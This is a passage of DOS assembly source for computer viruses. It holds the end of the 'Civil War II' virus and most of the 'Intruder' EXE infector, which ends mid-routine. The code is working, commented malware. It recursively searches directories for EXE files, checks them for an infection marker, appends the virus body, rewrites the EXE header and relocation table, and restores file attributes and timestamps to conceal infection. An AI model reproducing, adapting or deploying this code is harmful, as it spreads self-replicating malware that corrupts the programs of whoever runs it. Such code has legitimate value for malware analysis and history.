  2303.         push    cs
  2304.         pop    ds
  2305.         mov    [date-6],dx
  2306.         mov    [time-6],cx
  2307.         ret
  2308.  
  2309. set_int24h:    mov    ax,3524h
  2310.         call    do_int21h
  2311.         mov    cs:[old_24h-6],bx
  2312.         mov    cs:[old_24h+2-6],es
  2313.         mov    dx,offset new_24h-6
  2314.         push    cs
  2315.         pop    ds
  2316.         mov    ax,2524h
  2317.         call    do_int21h
  2318.         ret
  2319.  
  2320. set_atribuut:    mov    ax,4300h            ; get atribuut
  2321.         mov    ds,cs:[name_seg-6]
  2322.         mov    dx,cs:[name_off-6]
  2323.         call    do_int21h
  2324.         and    cl,0feh                ; set atribuut
  2325.         mov    ax,4301h
  2326.         call    do_int21h        
  2327.         ret
  2328.  
  2329. ;---------------------------------------------------------------------------
  2330. ;                DATA
  2331. ;---------------------------------------------------------------------------
  2332.  
  2333. old_21h            dw  00h,00h
  2334. old_24h        dw  00h,00h
  2335. carrier_begin      db  090h, 0cdh, 020h, 044h, 048h, 00h
  2336. text          db  'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h
  2337. jump        db  0e9h
  2338. name_seg    dw  ?
  2339. name_off    dw  ?
  2340. virus_segment      dw  ?
  2341. lenght_file    dw  ?
  2342. handle        dw  ?
  2343. date        dw  ?
  2344. time        dw  ?
  2345. initials    dw  4844h
  2346. last          db  090h
  2347.  
  2348. Civil_war     ends
  2349.               end dummy
  2350.  
  2351. done
  2352.  
  2353. .SEQ 
  2354.  
  2355. HOSTSEG SEGMENT BYTE
  2356.         ASSUME  CS:HOSTSEG,SS:HSTACK
  2357.  
  2358. PGMSTR  DB 'INTRUDER.EXE',0
  2359.  
  2360. HOST:
  2361.         mov     ax,cs           ;we want DS=CS here
  2362.         mov     ds,ax
  2363.         mov     dx,OFFSET PGMSTR
  2364.         mov     ah,41H
  2365.         int     21H             ;delete this exe file
  2366.         mov     ah,4CH
  2367.         mov     al,0
  2368.         int     21H             ;terminate normally
  2369. HOSTSEG ENDS
  2370.  
  2371.  
  2372. ;Host program stack segment
  2373.  
  2374. HSTACK  SEGMENT PARA STACK
  2375.         db  100H dup (?)        ;100 bytes long
  2376. HSTACK  ENDS
  2377.  
  2378. ;------------------------------------------------------------------------
  2379. ;This is the virus itself
  2380.  
  2381. STACKSIZE       EQU     100H           ;size of stack for the virus
  2382. NUMRELS         EQU     2              ;number of relocatables in the virus, which must go in the relocatable pointer table
  2383.  
  2384. ;VGROUP  GROUP   VSEG,VSTACK    ;Virus code and stack segments grouped together
  2385.  
  2386. ;Intruder Virus code segment. This gains control first, before the host. As this
  2387. ;ASM file is layed out, this program will look exactly like a simple program
  2388. ;that was infected by the virus.
  2389.  
  2390. VSEG    SEGMENT PARA
  2391.         ASSUME  CS:VSEG,DS:VSEG,SS:VSTACK
  2392.  
  2393. ;data storage area comes before any code
  2394. VIRUSID DW      0C8AAH                ;identifies virus
  2395. OLDDTA  DD      0                     ;old DTA segment and offset
  2396. DTA1    DB      2BH dup (?)           ;new disk transfer area
  2397. DTA2    DB      56H dup (?)           ;dta for directory finds (2 deep)
  2398. EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
  2399. EXEFILE DB      '\*.EXE',0            ;search string for an exe file
  2400. ALLFILE DB      '\*.*',0              ;search string for any file
  2401. USEFILE DB      78 dup (?)            ;area to put valid file path
  2402. LEVEL   DB      0                     ;depth to search directories for a file
  2403. HANDLE  DW      0                     ;file handle
  2404. FATTR   DB      0                     ;old file attribute storage area
  2405. FTIME   DW      0                     ;old file time stamp storage area
  2406. FDATE   DW      0                     ;old file date stamp storage area
  2407. FSIZE   DD      0                     ;file size storage area
  2408. VIDC    DW      0                     ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
  2409. VCODE   DB      1                     ;identifies this version
  2410.  
  2411. ;--------------------------------------------------------------------------
  2412. ;Intruder virus main routine starts here
  2413. VIRUS:
  2414.     push    ax        ;save startup info in ax
  2415.         mov     ax,cs
  2416.         mov     ds,ax           ;set up DS=CS for the virus
  2417.         mov     ax,es           ;get PSP Seg
  2418.         mov     WORD PTR [OLDDTA+2],ax   ;set up default DTA Seg=PSP Seg in case of abort without getting it
  2419.         call    SHOULDRUN       ;run only when certain conditions met signalled by z set
  2420.         jnz     REL1            ;conditions aren't met, go execute host program
  2421.         call    SETSR           ;modify SHOULDRUN procedure to activate conditions
  2422.         call    NEW_DTA         ;set up a new DTA location
  2423.         call    FIND_FILE       ;get an exe file to attack
  2424.         jnz     FINISH          ;returned nz - no valid file, exit
  2425.         call    SAVE_ATTRIBUTE  ;save the file attributes and leave file opened in r/w mode
  2426.         call    INFECT          ;move program code to file we found to attack
  2427.         call    REST_ATTRIBUTE  ;restore the original file attributes and close the file
  2428. FINISH: call    RESTORE_DTA     ;restore the DTA to its original value at startup
  2429.     pop    ax        ;restore startup value of ax
  2430. REL1:                           ;relocatable marker for host stack segment
  2431.         mov     bx,HSTACK       ;set up host program stack segment (ax=segment)
  2432.         cli                     ;interrupts off while changing stack
  2433.         mov     ss,bx
  2434. REL1A:                          ;marker for host stack pointer
  2435.         mov     sp,OFFSET HSTACK
  2436.         mov     es,WORD PTR [OLDDTA+2]  ;set up ES correctly
  2437.         mov     ds,WORD PTR [OLDDTA+2]  ;and DS
  2438.         sti                     ;interrupts back on
  2439. REL2:                           ;relocatable marker for host code segment
  2440.         jmp     FAR PTR HOST    ;begin execution of host program
  2441.  
  2442. ;--------------------------------------------------------------------------
  2443. ;First Level - Find a file which passes FILE_OK
  2444. ;
  2445. ;This routine does a complex directory search to find an EXE file in the
  2446. ;current directory, one of its subdirectories, or the root directory or one
  2447. ;of its subdirectories, to find a file for which FILE_OK returns with C reset.
  2448. ;If you want to change the depth of the search, make sure to allocate enough
  2449. ;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
  2450. ;since the recursive FINDBR uses a different DTA area for the search (see DOS
  2451. ;functions 4EH and 4FH) on each level.
  2452. ;
  2453. FIND_FILE:
  2454.         mov     al,'\'                  ;set up current directory path in USEFILE
  2455.         mov     BYTE PTR [USEFILE],al
  2456.         mov     si,OFFSET USEFILE+1
  2457.         xor     dl,dl
  2458.         mov     ah,47H
  2459.         int     21H                     ;get current dir, USEFILE= \dir
  2460.         cmp     BYTE PTR [USEFILE+1],0  ;see if it is null. If so, its the root
  2461.         jnz     FF2                     ;not the root
  2462.         xor     al,al                   ;make correction for root directory,
  2463.         mov     BYTE PTR [USEFILE],al   ;by setting USEFILE = ''
  2464. FF2:    mov     al,2
  2465.         mov     [LEVEL],al              ;search 2 subdirs deep
  2466.         call    FINDBR                  ;attempt to locate a valid file
  2467.         jz      FF3                     ;found one - exit
  2468.         xor     al,al                   ;nope - try the root directory
  2469.         mov     BYTE PTR [USEFILE],al   ;by setting USEFILE= ''
  2470.         inc     al                      ;al=1
  2471.         mov     [LEVEL],al              ;search one subdir deep
  2472.         call    FINDBR                  ;attempt to find file
  2473. FF3:
  2474.         ret                             ;exit with z flag set by FINDBR to indicate success/failure
  2475.  
  2476.  
  2477. ;--------------------------------------------------------------------------
  2478. ;Second Level - Find in a branch
  2479. ;
  2480. ;This function searches the directory specified in USEFILE for EXE files.
  2481. ;after searching the specified directory, it searches subdirectories to the
  2482. ;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
  2483. ;routine exits with Z set and leaves the file and path in USEFILE
  2484. ;
  2485. FINDBR:
  2486.         call    FINDEXE         ;search current dir for EXE first
  2487.         jnc     FBE3            ;found it - exit
  2488.         cmp     [LEVEL],0       ;no - do we want to go another directory deeper?
  2489.         jz      FBE1            ;no - exit
  2490.         dec     [LEVEL]         ;yes - decrement LEVEL and continue
  2491.         mov     di,OFFSET USEFILE       ;'\curr_dir' is here
  2492.         mov     si,OFFSET ALLFILE       ;'\*.*' is here
  2493.         call    CONCAT          ;get '\curr_dir\*.*' in USEFILE
  2494.         inc     di
  2495.         push    di              ;store pointer to first *
  2496.         call    FIRSTDIR        ;get first subdirectory
  2497.         jnz     FBE             ;couldn't find it, so quit
  2498. FB1:                            ;otherwise, check it out
  2499.         pop     di              ;strip \*.* off of USEFILE
  2500.         xor     al,al
  2501.         stosb
  2502.         mov     di,OFFSET USEFILE
  2503.         mov     bx,OFFSET DTA2+1EH
  2504.         mov     al,[LEVEL]
  2505.         mov     dl,2BH          ;compute correct DTA location for subdir name
  2506.         mul     dl              ;which depends on the depth we're at in the search
  2507.         add     bx,ax           ;bx points to directory name
  2508.         mov     si,bx
  2509.         call    CONCAT          ;'\curr_dir\sub_dir' put in USEFILE
  2510.         push    di              ;save position of first letter in sub_dir name
  2511.         call    FINDBR          ;scan the subdirectory and its subdirectories (recursive)
  2512.         jz      FBE2            ;if successful, exit
  2513.         call    NEXTDIR         ;get next subdirectory in this directory
  2514.         jz      FB1             ;go check it if search successful
  2515. FBE:                            ;else exit, NZ set, cleaned up
  2516.         inc     [LEVEL]         ;increment the level counter before exit
  2517.         pop     di              ;strip any path or file spec off of original
  2518.         xor     al,al           ;directory path
  2519.         stosb
  2520. FBE1:   mov     al,1            ;return with NZ set
  2521.         or      al,al
  2522.         ret
  2523.  
  2524. FBE2:   pop     di              ;successful exit, pull this off the stack
  2525. FBE3:   xor     al,al           ;and set Z
  2526.         ret                     ;exit
  2527.  
  2528. ;--------------------------------------------------------------------------
  2529. ;Third Level - Part A - Find an EXE file
  2530. ;
  2531. ;This function searches the path in USEFILE for an EXE file which passes
  2532. ;the test FILE_OK. This routine will return the full path of the EXE file
  2533. ;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
  2534. ;with the c flag set. It will search a whole directory before giving up.
  2535. ;
  2536. FINDEXE:
  2537.         mov     dx,OFFSET DTA1  ;set new DTA for EXE search
  2538.         mov     ah,1AH
  2539.         int     21H
  2540.         mov     di,OFFSET USEFILE
  2541.         mov     si,OFFSET EXEFILE
  2542.         call    CONCAT          ;set up USEFILE with '\dir\*.EXE'
  2543.         push    di              ;save position of '\' before '*.EXE'
  2544.         mov     dx,OFFSET USEFILE
  2545.         mov     cx,3FH          ;search first for any file
  2546.         mov     ah,4EH
  2547.         int     21H
  2548. NEXTEXE:
  2549.         or      al,al           ;is DOS return OK?
  2550.         jnz     FEC             ;no - quit with C set
  2551.         pop     di
  2552.         inc     di
  2553.         stosb                   ;truncate '\dir\*.EXE' to '\dir\'
  2554.         mov     di,OFFSET USEFILE
  2555.         mov     si,OFFSET DTA1+1EH
  2556.         call    CONCAT          ;setup file name '\dir\filename.exe'
  2557.         dec     di
  2558.         push    di
  2559.         call    FILE_OK         ;yes - is this a good file to use?
  2560.         jnc     FENC            ;yes - valid file found - exit with c reset
  2561.         mov     ah,4FH
  2562.         int     21H             ;do find next
  2563.         jmp     SHORT NEXTEXE   ;and go test it for validity
  2564.  
  2565. FEC:                            ;no valid file found, return with C set
  2566.         pop     di
  2567.         mov     BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
  2568.         stc
  2569.         ret
  2570. FENC:                           ;valid file found, return with NC
  2571.         pop     di
  2572.         ret
  2573.  
  2574.  
  2575. ;--------------------------------------------------------------------------
  2576. ;Third Level - Part B - Find a subdirectory
  2577. ;
  2578. ;This function searches the file path in USEFILE for subdirectories, excluding
  2579. ;the subdirectory header entries. If one is found, it returns with Z set, and
  2580. ;if not, it returns with NZ set.
  2581. ;There are two entry points here, FIRSTDIR, which does the search first, and
  2582. ;NEXTDIR, which does the search next.
  2583. ;
  2584. FIRSTDIR:
  2585.         call    GET_DTA         ;get proper DTA address in dx (calculated from LEVEL)
  2586.         push    dx              ;save it
  2587.         mov     ah,1AH          ;set DTA
  2588.         int     21H
  2589.         mov     dx,OFFSET USEFILE
  2590.         mov     cx,10H          ;search for a directory
  2591.         mov     ah,4EH          ;do search first function
  2592.         int     21H
  2593. NEXTD1:
  2594.         pop     bx              ;get pointer to search table (DTA)
  2595.         or      al,al           ;successful search?
  2596.         jnz     NEXTD3          ;no, quit with NZ set
  2597.         test    BYTE PTR [bx+15H],10H    ;is this a directory?
  2598.         jz      NEXTDIR         ;no, find another
  2599.         cmp     BYTE PTR [bx+1EH],'.'    ;is it a subdirectory header?
  2600.         jne     NEXTD2          ;no - valid directory, exit, setting Z flag
  2601.                                 ;else it was dir header entry, so fall through to next
  2602. NEXTDIR:                        ;second entry point for search next
  2603.         call    GET_DTA         ;get proper DTA address again - may not be set up
  2604.         push    dx
  2605.         mov     ah,1AH          ;set DTA
  2606.         int     21H
  2607.         mov     ah,4FH
  2608.         int     21H             ;do find next
  2609.         jmp     SHORT NEXTD1    ;and loop to check the validity of the return
  2610.  
  2611. NEXTD2:
  2612.         xor     al,al           ;successful exit, set Z flag
  2613. NEXTD3:
  2614.         ret                     ;exit routine
  2615.  
  2616. ;--------------------------------------------------------------------------
  2617. ;Return the DTA address associated to LEVEL in dx. This is simply given by
  2618. ;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
  2619. ;in its own DTA, since a search at a lower level occurs in the middle of the
  2620. ;higher level search, and we don't want the higher level being ruined by
  2621. ;corrupted data.
  2622. ;
  2623. GET_DTA:
  2624.         mov     dx,OFFSET DTA2
  2625.         mov     al,2BH
  2626.         mul     [LEVEL]
  2627.         add     dx,ax                   ;return with dx= proper dta offset
  2628.         ret
  2629.  
  2630. ;--------------------------------------------------------------------------
  2631. ;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
  2632. ;string at ES:DI. Return ES:DI pointing to the end of the first string in the
  2633. ;destination (or the first character of the second string, after moved).
  2634. ;
  2635. CONCAT:
  2636.         mov     al,byte ptr es:[di]     ;find the end of string 1
  2637.         inc     di
  2638.         or      al,al
  2639.         jnz     CONCAT
  2640.         dec     di                      ;di points to the null at the end
  2641.         push    di                      ;save it to return to the caller
  2642. CONCAT2:
  2643.         cld
  2644.         lodsb                           ;move second string to end of first
  2645.         stosb
  2646.         or      al,al
  2647.         jnz     CONCAT2
  2648.         pop     di                      ;and restore di to point to end of string 1
  2649.         ret
  2650.  
  2651.  
  2652. ;--------------------------------------------------------------------------
  2653. ;Function to determine whether the EXE file specified in USEFILE is useable.
  2654. ;if so return nc, else return c
  2655. ;What makes an EXE file useable?:
  2656. ;              a) The signature field in the EXE header must be 'MZ'. (These
  2657. ;                 are the first two bytes in the file.)
  2658. ;              b) The Overlay Number field in the EXE header must be zero.
  2659. ;              c) There must be room in the relocatable table for NUMRELS
  2660. ;                 more relocatables without enlarging it.
  2661. ;              d) The word VIRUSID must not appear in the 2 bytes just before
  2662. ;                 the initial CS:0000 of the test file. If it does, the virus
  2663. ;                 is probably already in that file, so we skip it.
  2664. ;
  2665. FILE_OK:
  2666.         call    GET_EXE_HEADER         ;read the EXE header in USEFILE into EXE_HDR
  2667.         jc      OK_END                 ;error in reading the file, so quit
  2668.         call    CHECK_SIG_OVERLAY      ;is the overlay number zero?
  2669.         jc      OK_END                 ;no - exit with c set
  2670.         call    REL_ROOM               ;is there room in the relocatable table?
  2671.         jc      OK_END                 ;no - exit
  2672.         call    IS_ID_THERE            ;is id at CS:0000?
  2673. OK_END: ret                            ;return with c flag set properly
  2674.  
  2675. ;--------------------------------------------------------------------------
  2676. ;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
  2677. ;number is anything but zero.
  2678. CHECK_SIG_OVERLAY:
  2679.         mov     al,'M'                  ;check the signature first
  2680.         mov     ah,'Z'
  2681.         cmp     ax,WORD PTR [EXE_HDR]
  2682.         jz      CSO_1                   ;jump if OK
  2683.         stc                             ;else set carry and exit
  2684.         ret
  2685. CSO_1:  xor     ax,ax
  2686.         sub     ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
  2687.         ret                             ;c is set if it's anything but 0
  2688.  
  2689. ;--------------------------------------------------------------------------
  2690. ;This function reads the 28 byte EXE file header for the file named in USEFILE.
  2691. ;It puts the header in EXE_HDR, and returns c set if unsuccessful.
  2692. ;
  2693. GET_EXE_HEADER:
  2694.         mov     dx,OFFSET USEFILE
  2695.         mov     ax,3D02H                ;r/w access open file
  2696.         int     21H
  2697.         jc      RE_RET                  ;error opening - C set - quit without closing
  2698.         mov     [HANDLE],ax             ;else save file handle
  2699.         mov     bx,ax                   ;handle to bx
  2700.         mov     cx,1CH                  ;read 28 byte EXE file header
  2701.         mov     dx,OFFSET EXE_HDR       ;into this buffer
  2702.         mov     ah,3FH
  2703.         int     21H
  2704. RE_RET: ret                             ;return with c set properly
  2705.  
  2706. ;--------------------------------------------------------------------------
  2707. ;This function determines if there are at least NUMRELS openings in the
  2708. ;current relocatable table in USEFILE. If there are, it returns with
  2709. ;carry reset, otherwise it returns with carry set. The computation
  2710. ;this routine does is to compare whether
  2711. ;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
  2712. ;is >= than 4 * NUMRELS. If it is, then there is enough room
  2713. ;
  2714. REL_ROOM:
  2715.         mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
  2716.         add     ax,ax
  2717.         add     ax,ax
  2718.         sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables
  2719.         add     ax,ax
  2720.         add     ax,ax
  2721.         sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
  2722.         cmp     ax,4*NUMRELS            ;enough room to put relocatables in?
  2723. RR_RET: ret                             ;exit with carry set properly
  2724.  
  2725.  
  2726. ;--------------------------------------------------------------------------
  2727. ;This function determines whether the word at the initial CS:0000 in USEFILE
  2728. ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
  2729. ;it returns c reset.
  2730. ;
  2731. IS_ID_THERE:
  2732.         mov     ax,WORD PTR [EXE_HDR+22] ;Initial CS
  2733.         add     ax,WORD PTR [EXE_HDR+8]  ;Header size
  2734.         mov     dx,16
  2735.         mul     dx
  2736.         mov     cx,dx
  2737.         mov     dx,ax                    ;cxdx = position to look for VIRUSID in file
  2738.         mov     bx,[HANDLE]
  2739.         mov     ax,4200H                 ;set file pointer, relative to beginning
  2740.         int     21H
  2741.         mov     ah,3FH
  2742.         mov     bx,[HANDLE]
  2743.         mov     dx,OFFSET VIDC
  2744.         mov     cx,2                     ;read 2 bytes into VIDC
  2745.         int     21H
  2746.         jc      II_RET                   ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
  2747.         mov     ax,[VIDC]
  2748.         cmp     ax,[VIRUSID]             ;is it the VIRUSID?
  2749.         clc
  2750.         jnz     II_RET                   ;if not, then virus is not already in this file
  2751.         stc                              ;else it is probably there already
  2752. II_RET: ret
  2753.  
  2754.  
  2755. ;--------------------------------------------------------------------------
  2756. ;This routine makes sure file end is at paragraph boundary, so the virus
  2757. ;can be attached with a valid CS. Assumes file pointer is at end of file.
  2758. SETBDY:
  2759.         mov     al,BYTE PTR [FSIZE]
  2760.         and     al,0FH              ;see if we have a paragraph boundary (header is always even # of paragraphs)
  2761.         jz      SB_E                ;all set - exit
  2762.         mov     cx,10H              ;no - write any old bytes to even it up
  2763.         sub     cl,al               ;number of bytes to write in cx
  2764.         mov     dx,OFFSET FINAL     ;set buffer up to point to end of the code (just garbage there)
  2765.         add     WORD PTR [FSIZE],cx     ;update FSIZE
  2766.         adc     WORD PTR [FSIZE+2],0
  2767.         mov     bx,[HANDLE]
  2768.         mov     ah,40H              ;DOS write function
  2769.         int     21H
  2770. SB_E:   ret
  2771.  
  2772. ;--------------------------------------------------------------------------
  2773. ;This routine moves the virus (this program) to the end of the EXE file
  2774. ;Basically, it just copies everything here to there, and then goes and
  2775. ;adjusts the EXE file header and two relocatables in the program, so that
  2776. ;it will work in the new environment. It also makes sure the virus starts
  2777. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  2778. ;
  2779. INFECT:
  2780.         mov     cx,WORD PTR [FSIZE+2]
  2781.         mov     dx,WORD PTR [FSIZE]
  2782.         mov     bx,[HANDLE]
  2783.         mov     ax,4200H                ;set file pointer, relative to beginning
  2784.         int     21H                     ;go to end of file
  2785.         call    SETBDY                  ;lengthen to a paragraph boundary if necessary
  2786.         mov     cx,OFFSET FINAL         ;last byte of code
  2787.         xor     dx,dx                   ;first byte of code, DS:DX
  2788.         mov     bx,[HANDLE]             ;move virus code to end of file being attacked with
  2789.         mov     ah,40H                  ;DOS write function
  2790.         int     21H
  2791.         mov     dx,WORD PTR [FSIZE]     ;find 1st relocatable in code (SS)
  2792.         mov     cx,WORD PTR [FSIZE+2]
  2793.         mov     bx,OFFSET REL1          ;it is at FSIZE+REL1+1 in the file
  2794.         inc     bx
  2795.         add     dx,bx
  2796.         mov     bx,0
  2797.         adc     cx,bx                   ;cx:dx is that number
  2798.         mov     bx,[HANDLE]
  2799.         mov     ax,4200H                ;set file pointer to 1st relocatable
  2800.         int     21H
  2801.         mov     dx,OFFSET EXE_HDR+14    ;get correct old SS for new program
  2802.         mov     bx,[HANDLE]             ;from the EXE header
  2803.         mov     cx,2
  2804.         mov     ah,40H                  ;and write it to relocatable REL1+1
  2805.         int     21H
  2806.         mov     dx,WORD PTR [FSIZE]
  2807.         mov     cx,WORD PTR [FSIZE+2]
  2808.         mov     bx,OFFSET REL1A         ;put in correct old SP from EXE header
  2809.         inc     bx                      ;at FSIZE+REL1A+1
  2810.         add     dx,bx
  2811.         mov     bx,0
  2812.         adc     cx,bx                   ;cx:dx points to FSIZE+REL1A+1
  2813.         mov     bx,[HANDLE]
  2814.         mov     ax,4200H                ;set file pointer to place to write SP to
  2815.         int     21H
  2816.         mov     dx,OFFSET EXE_HDR+16    ;get correct old SP for infected program
  2817.         mov     bx,[HANDLE]             ;from EXE header
  2818.         mov     cx,2
  2819.         mov     ah,40H                  ;and write it where it belongs
  2820.         int     21H
  2821.         mov     dx,WORD PTR [FSIZE]
  2822.         mov     cx,WORD PTR [FSIZE+2]
  2823.         mov     bx,OFFSET REL2          ;put in correct old CS:IP in program
  2824.         add     bx,1                    ;at FSIZE+REL2+1 on disk
  2825.         add     dx,bx
  2826.         mov     bx,0
  2827.         adc     cx,bx                   ;cx:dx points to FSIZE+REL2+1
  2828.         mov     bx,[HANDLE]
  2829.         mov     ax,4200H                ;set file pointer relavtive to start of file
  2830.         int     21H
  2831.         mov     dx,OFFSET EXE_HDR+20    ;get correct old CS:IP from EXE header
  2832.         mov     bx,[HANDLE]
  2833.         mov     cx,4
  2834.         mov     ah,40H                  ;and write 4 bytes to FSIZE+REL2+1
  2835.         int     21H
  2836.                                         ;done writing relocatable vectors
  2837.                                         ;so now adjust the EXE header values
  2838.         xor     cx,cx
  2839.         xor     dx,dx
  2840.         mov     bx,[HANDLE]
  2841.         mov     ax,4200H                ;set file pointer to start of file
  2842.         int     21H
  2843.         mov     ax,WORD PTR [FSIZE]     ;calculate new initial CS (the virus' CS)
  2844.         mov     cl,4                    ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
  2845.         shr     ax,cl
  2846.         mov     bx,WORD PTR [FSIZE+2]
  2847.         and     bl,0FH
  2848.         mov     cl,4
  2849.         shl     bl,cl
  2850.         add     ah,bl
  2851.         sub     ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
  2852.         mov     WORD PTR [EXE_HDR+22],ax;and save as initial CS
  2853.         mov     bx,OFFSET FINAL         ;compute new initial SS
  2854.         add     bx,10H                  ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
  2855.         mov     cl,4
  2856.         shr     bx,cl
  2857.         add     ax,bx
  2858.         mov     WORD PTR [EXE_HDR+14],ax  ;and save it
  2859.         mov     ax,OFFSET VIRUS           ;get initial IP
  2860.         mov     WORD PTR [EXE_HDR+20],ax  ;and save it
  2861.         mov     ax,STACKSIZE              ;get initial SP
  2862.         mov     WORD PTR [EXE_HDR+16],ax  ;and save it
  2863.         mov     dx,WORD PTR [FSIZE+2]
  2864.         mov     ax,WORD PTR [FSIZE]     ;calculate new file size
  2865.         mov     bx,OFFSET FINAL
  2866.         add     ax,bx
  2867.         xor     bx,bx
  2868.         adc     dx,bx                   ;put it in ax:dx
  2869.         add     ax,200H                 ;and set up the new page count
  2870.         adc     dx,bx                   ;page ct= (ax:dx+512)/512
  2871.         push    ax
  2872.         mov     cl,9
  2873.         shr     ax,cl
  2874.         mov     cl,7
  2875.         shl     dx,cl
  2876.         add     ax,dx
  2877.         mov     WORD PTR [EXE_HDR+4],ax ;and save it here
  2878.         pop     ax
  2879.         and     ax,1FFH                 ;now calculate last page size
  2880.         mov     WORD PTR [EXE_HDR+2],ax ;and put it here
  2881.         mov     ax,NUMRELS              ;adjust relocatables counter
  2882.         add     WORD PTR [EXE_HDR+6],ax
  2883.         mov     cx,1CH                  ;and save data at start of file
  2884.         mov     dx,OFFSET EXE_HDR
  2885.         mov     bx,[HANDLE]
  2886.         mov     ah,40H                  ;DOS write function
  2887.         int     21H
  2888.         mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
  2889.         dec     ax                      ;in order to calculate location of
  2890.         dec     ax                      ;where to add relocatables
  2891.         mov     bx,4                    ;Location= (No in table-2)*4+Table Offset
  2892.         mul     bx
  2893.         add     ax,WORD PTR [EXE_HDR+24];table offset
  2894.         mov     bx,0
  2895.         adc     dx,bx                   ;dx:ax=end of old table in file
  2896.         mov     cx,dx
  2897.         mov     dx,ax
  2898.         mov     bx,[HANDLE]
  2899.         mov     ax,4200H                ;set file pointer to table end
  2900.         int     21H
  2901.         mov     ax,WORD PTR [EXE_HDR+22]  ;and set up 2 pointers: init CS = seg of REL1
  2902.         mov     bx,OFFSET REL1
  2903.         inc     bx                      ;offset of REL1
  2904.         mov     WORD PTR [EXE_HDR],bx   ;use EXE_HDR as a buffer to
  2905.         mov     WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
  2906.         mov     ax,WORD PTR [EXE_HDR+22]  ;init CS = seg of REL2
  2907.         mov     bx,OFFSET REL2
  2908.         add     bx,3                    ;offset of REL2
  2909.         mov     WORD PTR [EXE_HDR+4],bx ;write it to buffer
  2910.         mov     WORD PTR [EXE_HDR+6],ax
  2911.         mov     cx,8                    ;and then write 8 bytes of data in file
  2912.         mov     dx,OFFSET EXE_HDR
  2913.         mov     bx,[HANDLE]
  2914.         mov     ah,40H                  ;DOS write function
  2915.         int     21H
  2916.         ret                             ;that's it, infection is complete!
  2917.  
  2918. ;--------------------------------------------------------------------------
  2919. ;This routine determines whether the reproduction code should be executed.
  2920. ;If it returns Z, the reproduction code is executed, otherwise it is not.
  2921. ;Currently, it only executes if the system time variable is a multiple of
  2922. ;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
  2923. ;executions of the program. TIMECT should be 2^n-1
  2924. ;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
  2925. ;is run. This makes SHOULDRUN return Z for sure the first time, so it
  2926. ;definitely runs when this loader program is run, but after that, the time must
  2927. ;be an even multiple of TIMECT+1.
  2928. ;
  2929. TIMECT  EQU     0               ;Determines how often to reproduce (1/64 here)
  2930. ;
  2931. SHOULDRUN:
  2932.         xor     ah,ah           ;zero ax to start, set z flag
  2933. SR1:    ret                     ;this gets replaced by NOP when program runs
  2934.         int     1AH
  2935.         and     dl,TIMECT       ;is it an even multiple of TIMECT+1 ticks?
  2936.         ret                     ;return with z flag set if it is, else nz set
  2937.  
  2938.  
  2939. ;--------------------------------------------------------------------------
  2940. ;SETSR modifies SHOULDRUN so that the full procedure gets run
  2941. ;it is redundant after the initial load
  2942. SETSR:
  2943.         mov     al,90H          ;NOP code
  2944.         mov     BYTE PTR SR1,al ;put it in place of RET above
  2945.         ret                     ;and return
  2946.  
  2947. ;--------------------------------------------------------------------------
  2948. ;This routine sets up the new DTA location at DTA1, and saves the location of
  2949. ;the initial DTA in the variable OLDDTA.
  2950. NEW_DTA:
  2951.         mov     ah,2FH                  ;get current DTA in ES:BX
  2952.         int     21H
  2953.         mov     WORD PTR [OLDDTA],bx    ;save it here
  2954.         mov     ax,es
  2955.         mov     WORD PTR [OLDDTA+2],ax
  2956.         mov     ax,cs
  2957.         mov     es,ax                   ;set up ES
  2958.         mov     dx,OFFSET DTA1          ;set new DTA offset
  2959.         mov     ah,1AH
  2960.         int     21H                     ;and tell DOS where we want it
  2961.         ret
  2962.  
  2963. ;--------------------------------------------------------------------------
  2964. ;This routine reverses the action of NEW_DTA and restores the DTA to its
  2965. ;original value.
  2966. RESTORE_DTA:
  2967.         mov     dx,WORD PTR [OLDDTA]    ;get original DTA seg:ofs
  2968.         mov     ax,WORD PTR [OLDDTA+2]
  2969.         mov     ds,ax
  2970.         mov     ah,1AH
  2971.         int     21H                     ;and tell DOS where to put it
  2972.         mov     ax,cs                   ;restore ds before exiting
  2973.         mov     ds,ax
  2974.         ret
  2975.  
  2976. ;--------------------------------------------------------------------------
  2977. ;This routine saves the original file attribute in FATTR, the file date and
  2978. ;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
  2979. ;file attribute to read/write, and leaves the file opened in read/write
  2980. ;mode (since it has to open the file to get the date and size), with the handle
  2981. ;it was opened under in HANDLE. The file path and name is in USEFILE.
  2982. SAVE_ATTRIBUTE:
  2983.         mov     ah,43H          ;get file attr
  2984.         mov     al,0
  2985.         mov     dx,OFFSET USEFILE
  2986.         int     21H
  2987.         mov     [FATTR],cl      ;save it here
  2988.         mov     ah,43H          ;now set file attr to r/w
  2989.         mov     al,1
  2990.         mov     dx,OFFSET USEFILE
  2991.         mov     cl,0
  2992.         int     21H
  2993.         mov     dx,OFFSET USEFILE
  2994.         mov     al,2            ;now that we know it's r/w
  2995.         mov     ah,3DH          ;we can r/w access open file
  2996.         int     21H
  2997.         mov     [HANDLE],ax     ;save file handle here
  2998.         mov     ah,57H          ;and get the file date and time
  2999.         xor     al,al
  3000.         mov     bx,[HANDLE]
  3001.         int     21H
  3002.         mov     [FTIME],cx      ;and save it here
